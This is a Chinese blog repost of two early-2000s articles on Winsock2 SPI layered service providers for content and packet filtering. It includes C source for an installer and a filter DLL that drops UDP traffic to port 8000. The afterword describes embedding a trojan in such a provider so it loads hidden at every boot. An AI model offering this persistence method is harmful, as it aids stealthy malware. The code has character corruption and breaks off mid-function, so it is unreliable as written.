2005年05月04日

利用WinSock2 SPI进行网络内容访问控制

来源:张兵
2003-4-11 13:25:00
 

  编者按:与传统的包过滤防火墙技术不同,本文从应用层网关技术入手,深入探讨了利用WinSock2 SPI进行网络内容访问控制的问题。这是网络安全的一项新内容,或者说,它为网络安全技术的爱好者和研发人员提供了一个新的思路。
  
  张兵
  
  防火墙可以实施和执行网络访问策略,但是,传统的防火墙技术集中于如何防范外部网络对内部网络的入侵和攻击上,而对于如何控制内部用户对外部网络的访问问题研究不够深入,相关的控制技术也不多。据权威资料显示,全球现有大约25万色情网站,单纯依靠传统的包过滤等防火墙技术,势必会严重影响网络性能。针对这一问题,我们从应用层网关技术入手,利用WinSock2 SPI技术,进行了研究和探讨。
  
  Winsock2 SPI原理图
  Winsock2 SPI(Service Provider Interface)服务提供者接口建立在Windows开放系统架构WOSA(Windows Open System Architecture)之上,是Winsock系统组件提供的面向系统底层的编程接口。Winsock系统组件向上面向用户应用程序提供一个标准的API接口;向下在Winsock组件和Winsock服务提供者(比如TCP/IP协议栈)之间提供一个标准的SPI接口。各种服务提供者是Windows支持的DLL,挂靠在Winsock2 的Ws2_32.dll模块下。对用户应用程序使用的Winsock2 API中定义的许多内部函数来说,这些服务提供者都提供了它们的对应的运作方式(例如API函数WSAConnect有相应的SPI函数WSPConnect)。多数情况下,一个应用程序在调用Winsock2 API函数时,Ws2_32.dll会调用相应的Winsock2 SPI函数,利用特定的服务提供者执行所请求的服务。
  
  Winsock2 SPI允许开发两类服务提供者——传输服务提供者和名字空间服务提供者。“传输提供者”(Transport Providers, 一般称作协议堆栈,例如TCP/IP)能够提供建立通信、传输数据、日常数据流控制和错误控制等传输功能方面的服务。“名字空间提供者”(Name Space Providers,例如DNS名字解析服务)则把一个网络协议的地址属性和一个或多个用户友好名称关联到一起,以便启用与应用无关的名字解析方案。
  
  Winsock2中使用的传输服务提供者有两类:基础服务提供者和分层服务提供者。基础服务提供者执行网络传输协议(比如TCP/IP)的具体细节,其中包括在网络上收发数据之类的核心网络协议功能。“分层式”(Layered)服务提供者只负责执行高级的自定义通信功能,并依靠下面的基础服务提供者,在网络上进行真正的数据交换。
  
  为了进行内部用户对外访问控制,我们需要在现有的基础提供者TCP/IP提供者上设立一个分层式的URL过滤管理者。通过URL过滤管理者我们可以截获用户请求的HTTP数据包中的URL地址,继而可以通过高效的数据检索算法(如利用Fibonacci散列函数的哈希表),在访问规则库(被禁止访问的IP集合)中查找指定的IP,根据结果拒绝或提供访问服务。
  
  传输服务提供者的安装方式决定了它不仅是一个分层提供者,还是一个基础服务提供者。Winsock 2使用系统配置数据库配置传输服务提供者。配置数据库让Winsock2得知服务提供者的存在,并定义了提供的服务类型。要在Winsock2服务提供者数据库内成功安装和管理服务提供者,需要四个函数:WSCEnumProtocols、WSCInstallProvider、WSCWriteProvider Order、WSCDeInstallProvider。这些函数利用WSAPROTOCOL_INFOW结构,对服务提供者数据库进行查询和操作。要安装分层式服务提供者,需要建立两个WSPPROTOCOL_INFOW目录条目结构。一个代表分层提供者(协议链长度等于0),另一个将代表一个协议链(协议长度大于1),该协议链把分层提供者与一个基础服务提供者链接起来。应该使用现有服务提供者的WSAPROTOCOL_INFOW目录条目结构的属性来初始化这两个结构。调用WSCEnumProtocols可以获得已有的服务提供者的WSAPROTOCOL_INFOW目录条目结构。初始化之后,首先需要使用WSCInstallProvider来安装我们的访问控制分层服务提供者目录条目,然后,利用WSCEnumProtocols列举出所有的目录条目,获得安装之后为这个结构分配的目录ID。然后,用这个目录条目来设置一个协议链目录条目,通过它,将我们的访问控制服务提供者和另一个提供者(TCP基础提供者)链接起来。然后再次调用WSCInstallProvider来安装我们的分层链式服务提供者。
  
  在用WSCInstallProvider安装一个服务提供者时,目录条目自动成为配置数据库中的最后一个条目。要实现访问控制就必须使我们的URL过滤服务提供者成为默认的TCP/IP提供者,必须通过调用WSCWriteProviderOrder函数来完成此项工作,对数据库中提供者目录条目进行重新排序,并把协议链目录条目放在TCP/IP基础提供者之前。
  
  Winsock2传输服务提供者随标准的Windows动态链接库模块一起执行。我们必须在我们的服务提供者动态链接库模块中导入DLLMain函数,同时还必须导入一个名为WSPStartup的单一函数条目。我们的URL过滤服务提供者必须提供对WSPStartup函数和其他30个SPI函数的支持。调用WSAStartup期间,Winsock根据WSASocket调用的地址家族、套接字类型和协议参数,来决定需要加载哪个服务提供者。只有在一个应用程序通过socket或WSASocket API调用建立一个采用地址家族AF_INET、套接字类型为SOCK_STREAM的套接字时,Winsock才会搜索并加载与之相应的、能够提供TCP/IP能力的传输服务提供者。WSPStartup的参数UpcallTable取得Ws2_32.dll的SPI函数派遣表,我们的访问控制分层服务提供者利用这些函数来管理自身和Winsock2之间的I/O操作。
  
  我们利用WSPConnect函数来实现访问控制功能。在用户请求HTTP服务时,需要首先建立与目标站点的连接,连接成功后,在此连接基础上发送HTTP请求数据包。用户应用程序调用connect或WSAConnect函数建立连接时,SPI会调用对应的WSPConnect函数:INT WSPAPI WSPConnect(…,const struct sockaddr FAR *name,…,INT FAR *lpErrno)。在sockaddr类型的参数name中包含了用户将要访问的目标站点的IP地址信息。我们将name参数传递到IP可访问性判定例程IPFilter。如果IPFilter函数返回代表授权访问的结果,我们采用协议链命令路由,调用下一层的基础服务提供者(TCP/IP)来完成连接请求。如果IPFilter函数返回代表拒绝服务的结果,我们设置lpErrno参数为相应的错误码,然后返回,不进行协议链下一层服务提供者的调用,从而实现访问控制。
  
  分层式服务提供者大大发挥了联网服务的潜能,增强了Winsock的应用,在我们的URL过滤服务中发挥了巨大的作用,基本实现了对内部用户访问外部网络的访问控制,为用户提供了对互联网的健康性的访问服务

基于SPI的数据报过滤原理与实现

Author: TOo2y [原创]
E-Mail: TOo2y@safechina.net
HomePage: www.safechina.net fz5fz.yeah.net
Date: 11-02-2002

一. 个人防火墙技术概述
二. Winsock 2 SPI介绍
三. 相关程序代码分析
四. 小结与后记
五. 附录之源代码

一)个人防火墙技术概述
随着网络安全问题日益严重,广大用户对网络安全产品也越来越关注。防火墙作为一种网络安全工具,早已受到大家的青睐。在PC机上使用的个人防火墙,很大程度上成为广大网民的安全保护者。Windows下的个人防火墙都是基于对数据报的拦截技术之上。当然在具体的实现方式上它们却有很大的不同。总的来说可分为用户级和内核级数据报拦截两类。其中内核级主要是TDI过滤驱动程序,NDIS中间层过滤驱动程序,NDIS过滤钩子驱动程序等,它们都是利用网络驱动来实现的;而用户级的过滤包括SPI接口,Windows2000包过滤接口等。本文主要讲述基于SPI的包过滤实现,它是Winsock 2的一个新特性。

二)Winsock 2 SPI介绍
Winsock 2 是一个接口,而不是协议,所以它可以用于发现和使用任意数量的底层传输协议所提供的通信能力。起初的Winsock是围绕着TCP/IP协议运行的,但是在Winsock 2中却增加了对更多传输协议的支持。Winsock 2不仅提供了一个供应用程序访问网络服务的Windows socket应用程序编程接口(API),还包含了由传输服务提供者和名字解析服务提供者实现的Winsock服务提供者接口(SPI)和ws2_32.dll。本文仅讨论传输服务提供者及其应用,暂不对名字解析服务提供者进行分析。
Winsock 2的传输服务提供者是以动态链接库的形式(DLL)存在的,它是通过WSPStartup函数为上层函数提供接口,而其他的传输服务提供者函数则是通过分配表的方式来访问WS2_32.DLL。传输服务提供者的动态链接库只有在应用程序需要时才由Ws2_32.dll来装入内存中的,在不需要时则会被自动卸载。以下是winsock 2在传输服务提供者上的WOSA(Windows开放服务结构):

—————————-
│Windows socket 2 应用程序│
—————————-Windows socket 2 API
│ WS2_32.DLL │
—————————-Windows socket 2 传输SPI
│ 传输服务提供者(DLL) │
—————————-

Windows socket SPI在服务提供者中使用了以下的函数前缀命名方式:WSP(Windows socket服务提供者),WPU(Windows socket提供者向上调用),WSC(Windows socket配置)。每一个传输服务提供者都有它自己所支持的传输协议,它是使用WSAPROTCOL_INFOW结构来实现的。传输服务提供者把所有的相关信息都存放在这个结构中,而应用程序就是通过这个结构的内容来将自己和相应的传输服务提供者相关联。
Windows socket SPI提供三种协议:分层协议,基础协议和协议链。分层协议是在基础协议的上层,依靠底层基础协议实现更高级的通信服务。基础协议是能够独立,安全地和远程端点实现数据通信的协议,它是相对与分层协议而言的。协议链是将一系列的基础协议和分层协议按特点的顺序连接在一起的链状结构,请参见下图:

API————————
│ WS2_32.DLL │
SPI————————
│ 分层协议 │
SPI————-
│ 分层协议 │
SPI————————
│ 基础协议 │
————————

Ws2_32.dll数据传输部分的主要功能是在服务提供者和应用程序之间提供流量管理的功能。每个应用程序通过Ws2_32.dll和相应的服务提供者进行严格的数据交换。Ws2_32.dll根据应用程序在创建套接字时所提供的参数来选择特定的服务提供者,然后把应用程序的实现过程转发由所选创建套接字的服务提供者来管理。也就是说,Ws2_32.dll只是一个中间过程,而应用程序只是一个接口,数据通信的实现却是有服务提供者来完成的。我们说过,Ws2_32.dll是通过创建套接字的API函数WSASocket或socket的参数来确定使用哪一个服务提供者。而WSASocket/socket的参数中包括了地址族,套接字类型和协议类型,这三个因素共同决定了创建套接字的服务提供者。Ws2_32.dll在服务提供者中寻找第一个和前面三因素相匹配的WSAPROTOCOL_INFOW结构,然后就调用这个WSAPROTOCOL_INFOW结构相应的WSPStartup函数,(所有的数据传输服务提供者以DLL的形式,它们对外的接口就只有WSPStartup,其他的服务提供者函数都是通过WSPStartup来调用的),进而调用如WSPSocket的函数来创建套接字,WSPConnect的函数来建立连接等等。除了流量管理功能外,Ws2_32.dll还提供了其他的服务,比如协议枚举,基于线程的阻塞钩子管理和在Ws2_32.dll和服务提供者之间进行版本协商。
传输服务提供者实现的功能包括建立连接,传输数据,实现流控制和差错控制等函数。其实Ws2_32.dll并不知道服务提供者的请求等活动是如何实现了,Ws2_32.dll在应用程序和服务提供者之间实现了媒介的功能。传输服务提供者可分为两类:套接字描述符是可安装的文件系统(IFS)句柄的提供者;剩下的是非IFS的提供者。在我们的程序中选用了非IFS提供者。可见,服务提供者实现了底层的与网络相关的协议。Ws2_32.dll提供了介质级别的流量管理,应用程序则提供了有关如何实现网络相关的操作,它实现了用户所希望的功能。
在传输服务提供者的实现过程中,安装顺序是非常重要的。我们不仅要正确的安装服务提供者,而且还必须在Windows socket中注册,将相关的系统信息保存在数据库中,这样Ws2_32.dll才能够方便的获得下层服务提供者的相关信息。在Ws2_32.dll中提供了用来安装服务提供者的函数WSCInstallProvider,它需要服务提供者的有关数据,比如DLL的名称和路径。同时Ws2_32.dll还提供了卸载服务提供者的函数WSCDeinstallProvider,在不需要时通过它将特定的服务提供者从系统中删除。为什么说传输服务者的安装顺序很重要呢?在服务提供者配置函数中的WSCEnumProtocols是用来枚举系统中所有已安装的服务提供者,它按照服务提供者的安装顺序相应的列出他们。在前面我们也提到过,Ws2_32.dll在服务提供者中按安装顺序搜寻和WSASocket/socket提供的三个参数相匹配的服务提供者,所以安装顺序在一定程度上是决定了服务提供者是否被正确调用的关键。Windows socket 2还提供了一个动态链接库Sporder.dll,它提供了对已安装的所有服务提供者顺序的重新排列(此DLL系统没有自带,common目录中已提供)。在附录中的T-Sporder.exe是一个查询当前已安装所有数据传输服务提供者属性的工具。
服务提供者系统中区分基础协议,分层协议和协议链是通过结构WSAPROTOCOL_INFOW中的Protocolchain结构的ChainLen值来实现的。分层协议的ChainLen值为0,基础协议的值为1,而协议链的值是大于1。在数据传输服务提供者的实现方式中分层协议和基础协议几乎是相同的,它们的不同之处在安装上。Windows中,现有的系统服务提供者(系统自带)几乎已提供了所有基本的服务,因此我们所写的服务提供者程序,都可以对数据报进行适当“修饰”后调用系统服务提供者来完成绝大部分剩下的功能,无论是基础服务提供者还是分层服务提供者都可以使用这种技术,免去不必要的劳动。基础服务提供者的实现过程主要是替换当前系统服务提供者的安装路径为自己的服务提供者的安装路径即可,当然我们必须保存所以系统服务者的相关数据,在我们卸载自己的服务提供者还原系统服务提供者时要用到这些信息,如系统服务者DLL的名称和路径。而协议链就不同了,首先我们必须安装好所有的基础协议和分层协议后,再构造协议链的WSAPROTOCOL_INFOW结构链,组成协议链的每个协议都会在协议链的ProtocolChain.ChainEntries数组中被定义,协议链数组中的第一个协议应该是第一个分层服务提供者。当然在安装分层协议及协议链时我们不会改变系统服务提供者,最多只是改变系统服务提供者的安装顺序罢了。在此,我们以分层服务提供者为例来说明数据传输服务提供者的安装过程。
Ws2_32.dll是使用标准的动态链接库来加载服务提供者接口的DLL到系统中去的,并调用WSPStartup来初始化。WSPStartup是Windows Socket 2应用程序调用SPI程序的初始化函数,也就是入口函数。WSPStartup的参数LPWSAPROTOCOL_INFOW指针提供应用程序所期望的协议信息,然后通过这个结构指针我们可以获得所保存的系统服务提供者的DLL名称和路径,加载系统服务提供者后查找到系统SPI程序的WSPStartup函数的指针,通过这个指针我们就可以将自己服务提供者的WSPStartup函数和系统SPI程序的WSPStartup函数相关联,进而调用系统的各个服务提供者函数。在数据传输服务提供者的实现中,我们需要两个程序,一个是可执行文件用来安装传输服务提供者;另一个就是DLL形式的数据传输服务提供者。下面我们就对安装程序(instif.exe)和实现程序(ipfilter.dll)所使用的主要函数进行简要分析。

三)相关程序代码分析
1.instif.exe
可执行程序instif.exe的主要功能是安装我们自己的分层传输服务提供者,并重新排列所有传输服务提供者的顺序,使我们的服务提供者位于协议链的顶端,这样相应类型的应用程序就会首先进入我们的传输服务提供者接口。本程序只有一个参数,就是安装(-install)或卸载(-remove)。作为演示,本程序只安装了IP分层协议及与UDP相关的协议链。(在ipfilter.dll中,我们只过滤目标端口为8000的UDP数据报)
自定义函数:
BOOL getfilter(); //获得所有已经安装的传输服务提供者
void freefilter(); //释放存储空间
void installfilter(); //安装分层协议,协议链及排序
void removefilter(); //卸载分层协议和协议链

代码分析:
protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);
//分配WSAPROTOCOL_INFOW结构的存储空间
totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);
//获得系统中已安装的所有服务提供者
GetCurrentDirectory(MAX_PATH,filter_path);
//得到当前的路径
_tcscpy(filter_name,_T("\\ipfilter.dll"));
//构造服务提供者文件ipfilter.dll的路径全名
WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);
//安装自定义的IP分层协议
iplayercataid=protoinfo[i].dwCatalogEntryId;
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
//将自定义的IP分层协议作为自定义UDP协议链的根分层服务提供者安装在协议链的顶端
WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode);
//安装协议链
WSCWriteProviderOrder(cataentries,totalprotos);
//更新所有服务提供者的安装顺序,把自定义的服务提供者排在所有协议的最前列
WSCDeinstallProvider(&filterguid,&errorcode);
//卸载IP分层协议
WSCDeinstallProvider(&filterchainguid,&errorcode);
//卸载协议链

2.ipfilter.dll
传输服务提供者都是以动态链接库的形式存在的,在应用程序需要时由Ws2_32.dll加载,在用完之后就被卸载。本文的ipfilter.dll提供了对发送的UDP数据报进行过滤的功能。也就是自定义WSPSendTo函数,在调用系统服务提供者之前进行过滤,判断是否继续向下调用,而其他的函数都是直接调用下层的系统服务提供者由它们直接处理。传输服务提供者只有一个入口函数就是WSPStartup,它是Windows Socket 应用程序调用SPI的初始化函数,其他SPI函数的调用都是通过WSPStartup的参数WSPUPCALLTABLE来实现的。
自定义函数:
int WSPAPI WSPSendTo(SOCKET s,LPWSABUF lpbuffer,DWORD dwbuffercount,LPDWORD lpnumberofbytessent,
DWORD dwflags,const struct sockaddr FAR *lpto,int itolen,LPWSAOVERLAPPED lpoverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpcompletionroutine,LPWSATHREADID lpthreadid,LPINT lperrno);
//SPI函数WSPSendTo和Windows Socket 2的API函数WSASendTo相对应
int WSPAPI WSPStartup(WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW lpprotoinfo,
WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable);
//SPI函数WSPStartup和Windows Socket 2的API函数WSAStartup相对应,WSPStartup是唯一的入口函数,剩下的30个SPI函数则是通过参数upcalltable来实现的,它们只能在内部调用,不向外提供入口

代码分析:
GetModuleFileName(NULL,processname,MAX_PATH);
//获得调用本服务提供者动态链接库的可执行文件的全名
OutputDebugString(_T("WSPSendTo Tencent Filtered"));
//输出调试信息
nextproctable.lpWSPSendTo(s,lpbuffer,dwbuffercount,lpnumberofbytessent,dwflags,lpto,
itolen,lpoverlapped,lpcompletionroutine,lpthreadid,lperrno);
//如果数据报满足发送条件,调用下层系统服务提供者发送数据
layerid=protoinfo[i].dwCatalogEntryId;
//获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
//获得下一层传输服务提供者的标志信息
WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);
//获得下一层传输服务提供者的安装路径
ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);
//扩展环境变量
hfilter=LoadLibrary(filterpath));
//装载下一层传输服务提供者
wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));
//获得下一层传输服务提供者的入口函数WSPStartup,以便调用
wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);
//调用下一层传输服务提供者的WSPStartup函数,实现钩子功能
nextproctable=*lpproctable;
//保存下一层服务提供者的30个服务函数指针
lpproctable->lpWSPSendTo=WSPSendTo;
//调用自定义函数WSPSendTo

由于以动态链接库形式的服务提供者要向外提供一个入口函数,因此还须一个配置文件ipfilter.def:
EXPORTS WSPStartup
//向外提供入口函数WSPStartup

3.T-Sporder.exe
T-Sporder.exe是一个辅助工具,用来查看当前系统中所有已经安装的传输服务提供者的属性。
totalprotocols=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);
//获得系统中的所有传输服务提供者,然后根据参数输出它们的各项属性。

四)小结与后记
本文向大家介绍了Windows Socket 2的一个新特性,那就是服务提供者接口SPI(Service Provider Interface)。它不仅包括我们主要讲解的传输服务提供者接口,还包括名字空间服务提供者接口。当然,基于SPI的包过滤安全措施并不是特别的好,因为很多建立在TDI上面的数据传输并不会受到SPI的影响,所以当前流行的防火墙大都是建立在NDIS之上的。
传输服务提供者是以DLL的形式存在于系统之中的,在基于IP协议的网络程序运行时,如果参数相匹配就会加载我们的传输服务提供者程序。而且在Windows下有很多系统网络服务,它们都是在系统启动时自动加载的,这就为我们隐藏木马的进程提供了有利的条件。也就是说在传输服务提供者程序里嵌入木马程序,很多基于IP协议的网络系统程序在开机时运行,这样我们嵌入的木马程序就会在系统启动时自动加载,在系统关闭时才会卸载。它的特点是只要安装一次后每每系统启动就会加载我们的传输服务提供者(里面包含木马程序),而不必像远程注入线程那样在系统每次启动时执行安装程序,并且它可同时被多个系统网络程序加载。
已编译好的可执行文件(过滤QQ数据报),您可以在我们的网站(http://fz5fz.yeah.net)下载。

五)附录之源程序
1.instif.exe

#define UNICODE
#define _UNICODE

#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <ws2spi.h>
#include <sporder.h>

GUID filterguid={0×4d1e91fd,0×116a,0×44aa,{0×8f,0xd4,0×1d,0×2c,0xf2,0×7b,0xd9,0xa9}};

GUID filterchainguid={0xd3c21121,0×85e1,0×48f3,{0×9a,0xb6,0×23,0xd9,0×0c,0×73,0×07,0xef}};

BOOL getfilter();
void freefilter();
void installfilter();
void removefilter();
void start();
void usage();

int totalprotos=0;
DWORD protoinfosize=0;
LPWSAPROTOCOL_INFOW protoinfo=NULL;

int main(int argc,char *argv[])
{
start();

if(argc==2)
{
if(strcmp(argv[1],"-install")==0)
{
installfilter();
return 0;
}
else if(strcmp(argv[1],"-remove")==0)
{
removefilter();
return 0;
}
}
usage();
return 0;
}

BOOL getfilter()
{
int errorcode;

protoinfo=NULL;
totalprotos=0;
protoinfosize=0;

if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
_tprintf(_T("First WSCEnumProtocols Error: %d\n"),errorcode);
return FALSE;
}
}

if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
_tprintf(_T("GlobalAlloc in getfilter Error: %d\n"),GetLastError());
return FALSE;
}

if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
_tprintf(_T("Second WSCEnumProtocols Error: %d\n"),GetLastError());
return FALSE;
}

_tprintf(_T("Found %d protocols!\n"),totalprotos);
return TRUE;
}

void freefilter()
{
GlobalFree(protoinfo);
}

void installfilter()
{
int i;
int provcnt;
int cataindex;
int errorcode;
BOOL rawip=FALSE;
BOOL udpip=FALSE;
DWORD iplayercataid=0,udporigcataid=0;
TCHAR filter_path[MAX_PATH];
TCHAR filter_name[MAX_PATH];
TCHAR chainname[WSAPROTOCOL_LEN+1];
LPDWORD cataentries;
WSAPROTOCOL_INFOW iplayerinfo,udpchaininfo,chainarray[1];

getfilter();

for(i=0;i<totalprotos;i++)
{
if(!rawip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_IP)
{
rawip=TRUE;
memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}

if(!udpip
&& protoinfo[i].iAddressFamily==AF_INET
&& protoinfo[i].iProtocol==IPPROTO_UDP)
{
udpip=TRUE;
udporigcataid=protoinfo[i].dwCatalogEntryId;
memcpy(&udpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
udpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
}
}

_tcscpy(iplayerinfo.szProtocol,_T("T-IpFilter"));
iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;

if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
{
_tprintf(_T("GetCurrentDirectory Error: %d\n"),GetLastError());
return ;
}
_tcscpy(filter_name,_T("\\ipfilter.dll"));
_tcscat(filter_path,filter_name);

if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
{
_tprintf(_T("WSCInstallProvider Error: %d\n"),errorcode);
return ;
}

freefilter();

getfilter();

for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
iplayercataid=protoinfo[i].dwCatalogEntryId;
break;
}
}

provcnt=0;
if(udpip)
{
_tcscpy(chainname,_T("T-UdpFilter"));
_tcscpy(udpchaininfo.szProtocol,chainname);

if(udpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
{
udpchaininfo.ProtocolChain.ChainEntries[1]=udporigcataid;
}
else
{
for(i=udpchaininfo.ProtocolChain.ChainLen;i>0;i–)
{
udpchaininfo.ProtocolChain.ChainEntries[i+1]=udpchaininfo.ProtocolChain.ChainEntries[i];
}
}

udpchaininfo.ProtocolChain.ChainLen++;
udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;

memcpy(&chainarray[provcnt++],&udpchaininfo,sizeof(WSAPROTOCOL_INFOW));
}

if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
{
_tprintf(_T("WSCInstallProvider for chain Error: %d\n"),errorcode);
return ;
}

freefilter();

getfilter();

if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)
{
_tprintf(_T("GlobalAlloc int installfilter Error: %d\n"),errorcode);
return ;
}

cataindex=0;
for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0 ││ memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}

for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0 && memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)
{
cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
}
}

if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)
{
_tprintf(_T("WSCWriteProviderOrder Error: %d\n"),GetLastError());
return ;
}

freefilter();

_tprintf(_T("\nInstall IP Filter Successfully"));
return ;
}

void removefilter()
{
int errorcode;
BOOL signal=TRUE;

if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)
{
_tprintf(_T("WSCDeinstall filterguid Error: %d\n"),errorcode);
signal=FALSE;
}

if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)
{
_tprintf(_T("WSCDeinstall filterchainguid Error: %d\n"),errorcode);
signal=FALSE;
}

if(signal)
{
_tprintf(_T("Deinstall IP Filter Successfully"));
}
return ;
}

void start()
{
_tprintf(_T("Install IP Filter, by TOo2y\n"));
_tprintf(_T("E-Mail: TOo2y@safechina.net\n"));
_tprintf(_T("HomePage: www.safechina.net\n"));
_tprintf(_T("Date: 10-29-2002\n\n"));
return ;
}
void usage()
{
_tprintf(_T("Usage: instif [ -install │ -remove ]\n"));
return ;
}

2.ipfilter.dll

#define UNICODE
#define _UNICODE

#include <ws2spi.h>
#include <tchar.h>

GUID filterguid={0×4d1e91fd,0×116a,0×44aa,{0×8f,0xd4,0×1d,0×2c,0xf2,0×7b,0xd9,0xa9}};

LPWSAPROTOCOL_INFOW protoinfo=NULL;
WSPPROC_TABLE nextproctable;
DWORD protoinfosize=0;
int totalprotos=0;

BOOL getfilter()
{
int errorcode;

protoinfo=NULL;
protoinfosize=0;
totalprotos=0;

if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
{
if(errorcode!=WSAENOBUFS)
{
OutputDebugString(_T("First WSCEnumProtocols Error!"));
return FALSE;
}
}

if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
{
OutputDebugString(_T("GlobalAlloc Error!"));
return FALSE;
}

if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
{
OutputDebugString(_T("Second WSCEnumProtocols Error!"));
return FALSE;
}

return TRUE;
}

void freefilter()
{
GlobalFree(protoinfo);
}

BOOL WINAPI DllMain(HINSTANCE hmodule,
DWORD reason,
LPVOID lpreserved)
{
TCHAR processname[MAX_PATH];
TCHAR showmessage[MAX_PATH+25];


if(reason==DLL_PROCESS_ATTACH)
{
GetModuleFileName(NULL,processname,MAX_PATH);
_tcscpy(showmessage,processname);
_tcscat(showmessage,_T(" Loading IPFilter …"));
OutputDebugString(showmessage);
}
return TRUE;
}

int WSPAPI WSPSendTo(SOCKET s,
LPWSABUF lpbuffer,
DWORD dwbuffercount,
LPDWORD lpnumberofbytessent,
DWORD dwflags,
const struct sockaddr FAR *lpto,
int itolen,
LPWSAOVERLAPPED lpoverlapped,
LPWSAOVERLAPPED_COMPLETION_ROUTINE lpcompletionroutine,
LPWSATHREADID lpthreadid,
LPINT lperrno)
{

struct sockaddr_in sin;

sin=*(const struct sockaddr_in *)lpto;
if(sin.sin_port==htons(8000))
{
OutputDebugString(_T("WSPSendTo Tencent Filtered"));
return 0;
}
else
{
return nextproctable.lpWSPSendTo(s,lpbuffer,dwbuffercount,lpnumberofbytessent,dwflags,lpto,itolen,lpoverlapped,lpcompletionroutine,lpthreadid,lperrno);
}
}

int WSPAPI WSPStartup(
WORDwversionrequested,
LPWSPDATA lpwspdata,
LPWSAPROTOCOL_INFOWlpprotoinfo,
WSPUPCALLTABLEupcalltable,
LPWSPPROC_TABLElpproctable
)
{
OutputDebugString(_T("IPFilter WSPStartup …"));

int i;
int errorcode;
int filterpathlen;
DWORD layerid=0;
DWORD nextlayerid=0;
TCHAR *filterpath;
HINSTANCE hfilter;
LPWSPSTARTUP wspstartupfunc=NULL;

if(lpprotoinfo->ProtocolChain.ChainLen<=1)
{
OutputDebugString(_T("ChainLen<=1"));
return FALSE;
}

getfilter();

for(i=0;i<totalprotos;i++)
{
if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
{
layerid=protoinfo[i].dwCatalogEntryId;
break;
}
}

for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
{
if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
{
nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
break;
}
}

filterpathlen=MAX_PATH;
filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);
for(i=0;i<totalprotos;i++)
{
if(nextlayerid==protoinfo[i].dwCatalogEntryId)
{
if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
{
OutputDebugString(_T("WSCGetProviderPath Error!"));
return WSAEPROVIDERFAILEDINIT;
}
break;
}
}

if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
{
OutputDebugString(_T("ExpandEnvironmentStrings Error!"));
return WSAEPROVIDERFAILEDINIT;
}

if((hfilter=LoadLibrary(filterpath))==NULL)
{
OutputDebugString(_T("LoadLibrary Error!"));
return WSAEPROVIDERFAILEDINIT;
}

if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
{
OutputDebugString(_T("GetProcessAddress Error!"));
return WSAEPROVIDERFAILEDINIT;
}

